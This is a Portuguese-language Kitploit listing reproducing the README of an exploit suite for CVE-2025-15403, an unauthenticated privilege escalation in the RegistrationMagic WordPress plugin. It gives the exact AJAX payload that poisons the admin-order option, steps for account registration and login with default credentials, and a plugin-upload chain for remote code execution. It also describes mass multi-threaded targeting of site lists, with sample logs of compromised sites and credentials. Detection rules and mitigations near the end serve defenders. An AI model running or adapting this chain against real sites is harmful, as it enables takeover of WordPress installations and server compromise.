Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - Escalação de Privilégios Não Autenticada via admin_order | Kitploit
Ferramentas/GitHubGitHub/nxploited/cve-2025-15403
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalação de Privilégios Não Autenticada via admin_order

Ver Repositório
12há 4 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - Escalação de Privilégio Não Autenticada via admin_order

root@kitploit:~
 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 As informações chegam aqui primeiro. Siga @KNxploited no Telegram — divulgações precisas de CVEs, exploits funcionais e pesquisa aprofundada de vulnerabilidades. O canal para aqueles que não esperam as notícias — eles as criam.


🧠 Visão Geral

CVE-2025-15403 é uma vulnerabilidade de Escalação de Privilégio Crítica com CVSS 9.8 no plugin RegistrationMagic para WordPress.

A falha existe na função add_menu do plugin, exposta sem autenticação por meio da ação AJAX rm_user_exists. Ao injetar um slug vazio no parâmetro order juntamente com a flag enable_admin_order=yes, um atacante manipula a lógica interna de geração de menu do plugin. Quando o menu administrativo é posteriormente construído, o plugin silenciosamente chama add_cap('manage_options') na função alvo — elevando qualquer conta de nível assinante para capacidade administrativa total.


💀 Análise Aprofundada da Vulnerabilidade

A causa raiz é a função add_menu ser alcançável sem autenticação por meio de rm_user_exists, combinada com a validação zero do slug admin_order:

root@kitploit:~
// Registrada sem verificação de capacidade
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← Controlado pelo usuário, NÃO sanitizado
    $role_key = /* derivado do POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Armazena a ordem controlada pelo atacante nas opções do plugin
        update_option('rm_admin_order', $order);  // ex.: ",menu1" → primeiro slug vazio
    }
}

// Posteriormente, quando o menu administrativo está sendo construído...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Envenenado pelo atacante
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Slug vazio aciona a concessão incondicional de capacidade
            $role->add_cap('manage_options');  // ← CAPACIDADE TOTAL DE ADMIN ADICIONADA
        }
    }
}

Por que isso é crítico:

  • wp_ajax_nopriv_* = zero autenticação necessária para envenenar a opção
  • Slug vazio em order=,menu1 passa na verificação empty(), acionando add_cap('manage_options')
  • manage_options é a capacidade mais alta do WordPress — equivalente a Administrador
  • Qualquer conta de assinante existente ganha imediatamente direitos totais de admin no próximo carregamento do menu administrativo
  • O estágio AJAX não requer autenticação prévia — tornando a cadeia completa de barreira quase zero

⚔️ Cadeia de Exploração

root@kitploit:~
╔══════════════════════════════════════════════════════════════════════════╗
║  ESTÁGIO 1 — Envenenamento de Opção Não Autenticado                     ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← primeiro elemento vazio = slug vazio
  _Subscriber       = 1                  ← chave da função alvo
  restore           = false
  enable_admin_order= yes

Resposta: HTTP 200 (qualquer resposta não bloqueada = opção envenenada)

  ↓ O plugin armazena order=",menu1" em wp_options
  ↓ A próxima construção do menu administrativo aciona add_cap('manage_options') na função Assinante

╔══════════════════════════════════════════════════════════════════════════╗
║  ESTÁGIO 2 — Aquisição de Conta (Assinante)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

Opção A — Registrar-se pelo formulário de registro do site (Modo 0):
  GET  /wp-login.php?action=register  → detecção inteligente de formulário
  POST → criar conta de assinante
  Credenciais: NXploited / xplpass123

Opção B — Usar uma conta de assinante existente.

╔══════════════════════════════════════════════════════════════════════════╗
║  ESTÁGIO 3 — Login + Coleta de Capacidades                              ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
A conta de assinante agora carrega manage_options → painel de admin totalmente acessível

╔══════════════════════════════════════════════════════════════════════════╗
║  ESTÁGIO 4 — Verificação Aprofundada e RCE via Upload de Plugin         ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Painel de admin acessível ✔️
GET  /wp-admin/plugin-install.php        → Página de instalação de plugins acessível ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin enviado e executado ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Resposta contém "Nxploited"         → RCE CONFIRMADO ✔️

🎯 Modos de Operação

Este conjunto de exploits fornece três modos distintos para cobrir todo o ciclo de vida do ataque:


⚙️ Requisitos

root@kitploit:~
pip install requests colorama urllib3

Python 3.8+ é necessário. Python 3.10+ é recomendado (usa type hints de união X \| Y).


📂 Estrutura de Arquivos

root@kitploit:~
CVE-2025-15403/
├── CVE-2025-15403.py                 # Suíte principal de exploits
├── list.txt                          # URLs alvo — uma por linha
│
├── rm_register_results.txt           # Modo 0: registros bem-sucedidos
├── rm_exploit_results.txt            # Modos 1 e 2: log de disparo da primitiva
├── rm_admin_verify.txt               # Modo 2: log de login + verificação de admin
├── rm_plugin_uploads.txt             # Modo 2: log de tentativas de upload de plugin
│
├── rm_admin_dashboard_success.txt    # ✔ Sites onde o painel de admin foi confirmado
├── rm_plugin_install_access.txt      # ✔ Sites onde a página de instalação de plugins estava acessível
└── rm_plugin_rce_success.txt         # ✔ Sites onde RCE via upload de plugin foi confirmado

Os três arquivos _success na parte inferior representam níveis graduados de comprometimento — cada um é gravado de forma independente assim que sua condição é confirmada.


🚀 Uso

Passo 1 — Preparar Alvos

Crie list.txt com uma URL ou hostname por linha:

root@kitploit:~
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com

Hostnames sem esquema são automaticamente prefixados com https://. Instalações WordPress em subdiretórios (ex.: /wordpress) são detectadas e tratadas automaticamente.


Passo 2 — Executar a Suíte

root@kitploit:~
python CVE-2025-15403.py

Você será solicitado interativamente a fornecer todos os parâmetros. Exemplo de sessão para o Modo 2:

root@kitploit:~
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes

Passo 3 — Acompanhar a Saída ao Vivo

root@kitploit:~
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK   | REG: SKIP | LOGIN: OK   | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK   | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: -    | ACCESS: NO HIT

📊 Referência dos Arquivos de Saída

rm_admin_dashboard_success.txt

Sites onde a conta de assinante acessou com sucesso /wp-admin/ após a escalação de privilégio:

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard

rm_plugin_install_access.txt

Sites onde a página de instalação de plugins estava acessível (confirmando manage_options):

root@kitploit:~
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access

rm_plugin_rce_success.txt

Sites onde um plugin de teste foi enviado e executado — RCE confirmado:

root@kitploit:~
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload

🖥️ Referência dos Parâmetros do Script


🔬 Lógica de Verificação (Modo 2)

O Modo 2 realiza uma verificação graduada em três estágios — cada estágio é independente e grava seu próprio arquivo de resultados:

root@kitploit:~
Estágio 1 — Painel de Admin
  GET /wp-admin/
  GET /wp-admin/index.php
  GET /wp-admin/users.php
  Verificar presença de: "dashboard", "adminmenu", "manage_options", "plugins.php"
  ✔ → grava em rm_admin_dashboard_success.txt

Estágio 2 — Acesso à Página de Instalação de Plugins
  GET /wp-admin/plugin-install.php
  GET /wp-admin/plugin-install.php?tab=upload
  Verificar presença de: "upload-plugin", "plugin-upload-form", "pluginzip"
  ✔ → grava em rm_plugin_install_access.txt

Estágio 3 — Upload Real de Plugin + Execução (Prova de RCE)
  Extrair _wpnonce da página de instalação de plugins
  POST /wp-admin/update.php?action=upload-plugin
       pluginzip = Nxploited.zip (gerado em memória)
  GET  /wp-content/plugins/Nxploited/hello.php
  Verificar se o corpo da resposta contém "Nxploited"
  ✔ → grava em rm_plugin_rce_success.txt

Cada estágio aprovado é registrado de forma independente — um alvo que passa no Estágio 1, mas não no Estágio 3, ainda é capturado em rm_admin_dashboard_success.txt.


🔍 Mecanismo Inteligente de Registro (Modo 0)

O Modo 0 usa um analisador de formulários HTML personalizado para detectar e enviar automaticamente formulários de registro do WordPress — incluindo formulários RegistrationMagic personalizados:

root@kitploit:~
URLs de sondagem (em ordem):
  /wp-login.php?action=register
  /register/
  /signup/
  /wp-signup.php
  /wp-login.php

Para cada página:
  → Analisar todos os elementos <form>
  → Pontuar cada formulário (0–200 pontos):
      +100  Campos "user_login" + "user_email" presentes
      + 60  Email + campos semelhantes a nome de usuário presentes
      + 30  Campos de entrada com prefixo rm_* (específico do RegistrationMagic)
      + 20  id/classe do formulário contém "register" / "signup"
      + 10  O corpo da página menciona "register" / "sign up"
  → Enviar o formulário com a maior pontuação (limiar: 40+)
  → Verificar o sucesso pelo corpo da resposta / URL de redirecionamento

📊 Assinatura de Detecção

Padrão de rede gerado pelo exploit — para defensores e autores de WAF/IDS:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

Regra de WAF / IDS (Pseudocódigo):

root@kitploit:~
IF  request.method == POST
AND request.path   == "/wp-admin/admin-ajax.php"
AND request.body   CONTAINS "rm_user_exists"
AND request.body   CONTAINS "rm_options_admin_menu"
AND request.body   CONTAINS "enable_admin_order=yes"
THEN BLOQUEAR + ALERTAR (Tentativa de Escalação de Privilégio — CVE-2025-15403)

Detecção Adicional — Envenenamento de Opção:

root@kitploit:~
Monitorar a tabela wp_options:
  IF option_name = "rm_admin_order"
  AND option_value COMEÇA COM ","
  THEN ALERTAR — possível exploração de CVE-2025-15403

🛡️ Mitigação e Remediação

Se você é um proprietário de site, desenvolvedor ou defensor, aja imediatamente:

  • ✅ Atualize o RegistrationMagic para uma versão acima de 6.0.7.1
  • ✅ Desative e exclua o plugin até que uma versão corrigida confirmada esteja disponível
  • ✅ Audite a tabela wp_options — verifique o valor de rm_admin_order em busca de entradas suspeitas (ex.: começando com ,)
  • ✅ Audite todos os usuários do WordPress — remova ou rebaixe quaisquer contas não autorizadas com a capacidade manage_options
  • ✅ Adicione verificações de capacidade a todos os manipuladores wp_ajax_nopriv_* — nunca exponha funções de gravação de opções sem autenticação
  • ✅ Valide e sanitize o parâmetro order — rejeite valores contendo segmentos de slug vazios
  • ✅ Bloqueie requisições POST não autenticadas para admin-ajax.php contendo rm_options_admin_menu no nível do WAF
  • ✅ Monitore os logs do WordPress e do servidor em busca de chamadas à ação AJAX rm_user_exists provenientes de fontes não autenticadas

⚠️ Aviso Legal

root@kitploit:~
ESTA FERRAMENTA É FORNECIDA ESTRITAMENTE PARA FINS EDUCACIONAIS, DE TESTE
DE PENETRAÇÃO AUTORIZADO E DE PESQUISA DE SEGURANÇA.

Ao baixar, executar ou modificar este script, você concorda explicitamente:

  • Você possui AUTORIZAÇÃO EXPLÍCITA E POR ESCRITO do proprietário de
    cada sistema alvo que testar. Sem exceções. Sem suposições.

  • Você está operando dentro de um engajamento de teste de penetração
    formalmente escopado e autorizado ou em um ambiente de laboratório
    controlado que você possui.

  • Você NÃO irá implantar esta ferramenta contra qualquer sistema, rede ou
    infraestrutura sem permissão legal documentada.

  • Nxploited e todos os colaboradores NÃO assumem NENHUMA responsabilidade
    por uso não autorizado, perda de dados, danos ao sistema, processos
    judiciais ou persecução criminal decorrentes do uso desta ferramenta
    sob qualquer forma.

O uso não autorizado deste exploit constitui crime sob:
  — Computer Fraud and Abuse Act (CFAA), EUA
  — Computer Misuse Act (CMA), Reino Unido
  — Diretiva da UE 2013/40/EU sobre Ataques contra Sistemas de Informação
  — Lei Anticibercrime da Arábia Saudita (Nº M/17)
  — E toda a legislação nacional e internacional equivalente sobre crimes cibernéticos.

USE COM RESPONSABILIDADE. HACKEIE ETICAMENTE. DIVULGUE COM RESPONSABILIDADE.

👤 Autor

NomeNxploited
Telegram@KNxploited
GitHubgithub.com/Nxploited

🔔 Siga @KNxploited no Telegram CVEs atualizados. Exploits funcionais. Sem ruído. Sem atraso. O canal onde pesquisadores sérios se mantêm afiados.


Desenvolvido com precisão por Nxploited · Somente para pesquisa de segurança autorizada · CVSS 9.8 Crítico
Baixar ferramenta
CampoDetalhes
ID do CVECVE-2025-15403
PluginRegistrationMagic
Slugregistrationmagic / custom-registration-form-builder-with-submission-manager
Versões AfetadasTodas as versões até 6.0.7.1 inclusive
Tipo de VulnerabilidadeEscalação de Privilégio Não Autenticada
Requisito de AtaqueEstágio AJAX: Nenhum. Exploração: Conta de assinante
Vetor de AtaqueRede
Pontuação CVSS 3.19.8 CRÍTICO
Vetor CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
ImpactoAssunção Total do Administrador do WordPress
PesquisadorNxploited
ModoNomeDescrição
0Somente RegistrarDetecção inteligente de formulários WordPress + registro de conta de assinante
1Somente ExplorarDispara a primitiva AJAX não autenticada para envenenar admin_order
2Explorar + Login + VerificarCadeia completa: primitiva → login → painel de admin → instalação de plugin → RCE
DependênciaFinalidade
requestsSessões HTTP, manipulação de cookies, rastreamento de redirecionamentos
coloramaSaída de terminal colorida multiplataforma
urllib3Supressão de avisos SSL para certificados autoassinados
concurrent.futuresPool de threads para varredura de múltiplos alvos de alta vazão
zipfileGeração em memória do ZIP do plugin de teste para verificação de RCE
html.parserDetecção inteligente de formulários de registro e extração de campos
CorTagSignificado
🔵 CianoinfoInformativo — início do modo, configuração
🟢 VerdeokSucesso total — acesso de admin ou RCE confirmado
🟡 AmarelowarnResultado parcial — primitiva OK, mas login falhou, etc.
🔴 VermelhoerrFalha grave — arquivo não encontrado, exceção, bloqueado
ParâmetroPadrãoDescrição
Modo0Modo de ataque: 0 = Registrar, 1 = Explorar, 2 = Cadeia Completa
Arquivo de alvoslist.txtArquivo contendo as URLs alvo
Threads5 (sem máximo definido)Workers concorrentes do ThreadPoolExecutor
Timeout10 segundosTimeout HTTP por requisição
Chave da função_SubscriberFunção do WordPress a escalar (_Editor, _Author, etc.)
UsuárioNXploitedConta para registrar / fazer login
Senhaxplpass123Senha da conta
Enviar primitivayesSe deve disparar o estágio AJAX antes do login no Modo 2